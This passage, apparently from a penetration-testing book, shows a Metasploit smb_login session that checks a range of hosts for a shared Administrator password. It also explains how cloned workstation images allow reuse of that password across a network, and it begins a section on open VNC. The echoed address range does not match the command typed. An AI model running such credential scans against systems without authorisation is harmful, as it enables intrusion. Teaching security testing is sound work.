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Chapter 4
msf >
use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) >
show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass password no SMB Password
SMBUser Administrator no SMB Username
THREADS 50 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords separated
by space, one pair per line
USER_FILE no File containing usernames, one per line
msf auxiliary(smb_login) >
set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) >
set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_login) >
set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) >
run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155
[+] 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'
[*] Scanned 4 of 6 hosts (066% complete)
[*] Scanned 5 of 6 hosts (083% complete)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
You can see a successful login with user
Administrator
and a password of
s3cr3t
at . Because workstations are all cloned from one image and deployed
through the enterprise in many corporate environments, the administrator
password may well be the same on all of them, granting you access to every
workstation on the network.
Scanning for Open VNC Authentication
Virtual network computing (VNC) provides graphical access to remote sys-
tems in a way that’s similar to Microsoft’s Remote Desktop. VNC installations
are common throughout corporations, because they provide a GUI-based
view of server and workstation desktops. VNC is frequently installed to meet a
temporary need and then completely forgotten and left unpatched, creating